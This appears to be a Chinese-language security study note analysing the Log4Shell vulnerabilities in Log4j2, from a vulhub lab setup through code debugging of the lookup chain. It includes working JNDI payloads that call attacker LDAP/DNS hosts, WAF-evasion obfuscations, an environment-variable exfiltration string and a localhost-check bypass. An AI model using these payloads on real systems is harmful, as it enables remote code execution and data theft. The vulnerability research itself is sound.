JavaSec - Log4j2
对这个漏洞的印象挺深刻的,MC服务器也用了Log4j作为日志框架,你在聊天框里输入这个能打服主的服务器

-
2.15.0 <= : 2021-44228 RCE
-
2.15.0 = : 2021-45046 RCE
-
2.16.0 = : 2021-45105 DOS
<= 2.15.0
使用vulhub搭建环境
version: '2'
services:
solr:
image: vulhub/solr:8.11.0
ports:
- "55541:8983"
- "55542:5005"
在vps启动jndimap

payload:
GET /solr/admin/cores?action=${jndi:ldap://IP:1389/Basic/DNSLog/2ac25f27c8.ipv6.1433.eu.org.} HTTP/1.1
Host: 192.168.124.204:55541
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

调试
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
package com.orxiain;
import org.apache.logging.log4j.*;
public class Log4j2Exploit {
private static final Logger logger = LogManager.getLogger(Log4j2Exploit.class);
public static void main(String[] args) {
// 触发漏洞的恶意payload
String payload = "${jndi:ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==}";
// 记录包含恶意payload的日志
logger.error("Received payload: {}", payload);
System.out.println("Payload logged. Check if exploit was triggered.");
}
}
使用JNDIMap作为攻击服务器软件
在调用了logger的地方打点
首先我们的日志信息被打包为了message

随后调用logMessage的log方法,然后loggerConfig.log,再然后LoggerConfig.log(),再调用一个重载的log到processLogEvent

然后一直调用到`MessagePatternConverter`的format方法⬇️,在这里代码通过反复遍历字符串的每个字符得到占位符的字符串(注释的TODO说是可以优化这里的代码,现在看来确实有点笨

跟进这个replace,里面主要是替换占位符的处理逻辑

这里的substitute又调用了另一个重载substitute,将priorVariables设置为Null,buf变量就是jndi链接了,最后这个substitute⬇️(这个函数也太长了

这个遍历查询了buf中所有$开头的字符串,为后面的变量替换做准备

最后拿到:`jndi:ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==`,拿到之后出来继续走。若 valueEscapeDelimiterMatcher 不为 null,就检查当前位置 i 是否匹配转义分隔符。若匹配到转义分隔符(matchLen 不为 0),先构建变量名前缀 varNamePrefix,再初步设置 varName。接着进入内层 for 循环,从转义分隔符之后的位置开始查找变量默认值分隔符。若找到变量默认值分隔符,就更新 varName 和 varDefaultValue,然后跳出内层和外层循环。
最后终于,跳出对占位符和前缀的获取循环之后调用了resolveVariable方法,在其中调用了lookup方法

可以关注以下这个方法前的一些处理方法,`checkCyclicSubstitution(varName, priorVariables);`处理了可能发生的循环替换情况,当在priorVariables中找到已替换的变量则停止替换操作,阻止循环替换的发生
来到Interpolator的lookup⬇️,传入了当前的log事件对象和变量名,通过`:`获取到前缀`jndi`,然后将var剪掉了前面的前缀和:的部分拿到ldap链接

然后拿着前缀在strLookupMap中查询得到需要的strlookup对象

最后拿着这个对象查询,触发JNDI

感觉这个日志处理过程还是比较复杂的,不知道当时是如何被发现的🤔
完整堆栈
lookup:207, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2034, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1899, AbstractLogger (org.apache.logging.log4j.spi)
error:866, AbstractLogger (org.apache.logging.log4j.spi)
main:12, Log4j2Exploit (com.orxiain)
其他协议利用与绕过
能lookup了,那么也可以尝试其他的协议利用来绕过一些waf限制
-
RMI:
` ```${jndi:rmi://恶意服务器/Exploit}``` ` -
DNS:
` ```${jndi:dns://恶意DNS服务器/记录查询}``` `信息搜集 -
HTTP:
` ```${jndi:http://恶意服务器/Exploit}``` `
此外log4j支持内联变量:`${${lower:J}ndi:xxxxxx}` 也可以:` ```${${::-J}ndi:ldap://127.0.0.1:1389/Calc}``` `
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
${jndi:ldap://${env:LOGNAME}.xxx.com} -环境信息外带
特殊字符upper替换
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
修复
JNDI Lookup在2.15.0默认关闭(log42.formatMsgNoLookups为true),仅允许java、ldap和ldaps协议,且ldap协议仅能访问Java原始对象(如序列化数据),默认仅允许本地主机的JNDI请求,远程主机需显式配置允许
2.15.0 = :
我们看看这个版本的代码具体改了什么,来到`toSerializable:344, PatternLayout$PatternSerializer` 这里是对log循环调用format方法的地方,当buf是jndi链接时进入另一个format方法⬇️

进去之后就发现不对劲,调用的是LineSeparatorPatternConverter类的format方法而不是PatternFormatter的

传入的字符串作为StringBuilder的一个新对象,调用了append方法直接把payload添加到字符串后面了
为了绕过,肯定不能走这个converter的format方法

还有什么format方法呢?现在MessagePatternConverter的format直接返回报错用不了,但是这个类中有些内置类也实现了format,其中LookupMessagePatternConverter的format逻辑⬇️,其中调用了StrSubstitutor.replaceIn进行变量替换,继而调用substitute()

回来了都回来了,那么如何将converter设置为LookupMessagePatternConverter?我们来看converter的获取方法,也就是MessagePatternConverter.newInstance⬇️,可以看到为了到达LookupMessagePatternConverter需要经过两层判断:1. lookup为true ;2. config不为NULL;

config已经有了,我们看loadLookups方法⬇️

-
options 数组不为 null。
-
options 数组中至少有一个元素忽略大小写后等于 “lookups”。
打点看看是怎么调用到这里来的
......
newInstance:89, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createConverter:590, PatternParser (org.apache.logging.log4j.core.pattern)
......
定位到PatternParser类,这里调用newInstanceMethod.invoke就是通过反射调用newinstance获取到Converter对象⬇️,parms是传入的参数

574行附近找到赋值options的逻辑


看看调用creatConverter的地方,打个点⬇️,可以看到msg打得内容就是我们的payload,调用方法上面初始化了options的列表,并调用了extractOptions方法

看一下extractOptions方法,它对组合之后的log内容进行花括号匹配,每匹配一次`{`depth加一,找到`}`减一,最终保证所有选项加载完成
`options.add(pattern.substring(begin, i - 1));`将匹配到的内容添加到options中
调试一下我们就会发现payload当作了`%msg%`,原因是禁用了%msg的Lookup功能导致了无法进行options的设置操作,所以lookup根本就绕不过去啊我草
然后没招了,查阅文章发现好像没有完全绕过的办法,CVE2021-45046使用了上下文查找模式会触发lookup
使用条件就是日志的配置文件需要设置为上下文查找模式,也就是说模板中需要有`${ctx:myContext}`,感觉已经不太通用了,做法是在resources里面创建log4j2.xml⬇️,然后调用ThreadContext.put触发log
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-S5Slevel %logger{36} ${ctx:myContext} - %msg%n" />
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
此时已可以发起请求,那么如何RCE
定位到JndiManager,看看lookup方法修改了什么,前面判断了URI协议,然后通过uri.getHost()获取到IP,判断IP是否是本地IP,这里可以通过`ldap:// ```127.0.0.1#evilhost.com``` `绕过,因为gethost方法会取#前的IP,那么这里的条件也是你的攻击服务器得用域名了

这里添加了防止加载远程对象,那么普通的JNDI打不了,但是在上面我们可以发现关于反序列化数据额度处理逻辑

虽然做了些简单的过滤,但是我们可以依靠这里的JNDI自动反序列化逻辑打第三方包的链子,那么我们的利用条件又要加上一条
以上是利用原理,具体复现还没成功,这利用起来也太鸡肋了,先这样吧
Tools
https://github.com/alexbakker/log4shell-tools
https://github.com/mbechler/marshalsec
Links
https://blog.csdn.net/weixin_43847838/article/details/122490319
https://www.freebuf.com/sectool/313774.html
https://blog.csdn.net/hilaryfrank/article/details/121939902
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://www.freebuf.com/articles/web/341857.html
https://github.com/cckuailong/Log4j_CVE-2021-45046
https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA
https://blog.csdn.net/weixin_44047654/article/details/128300416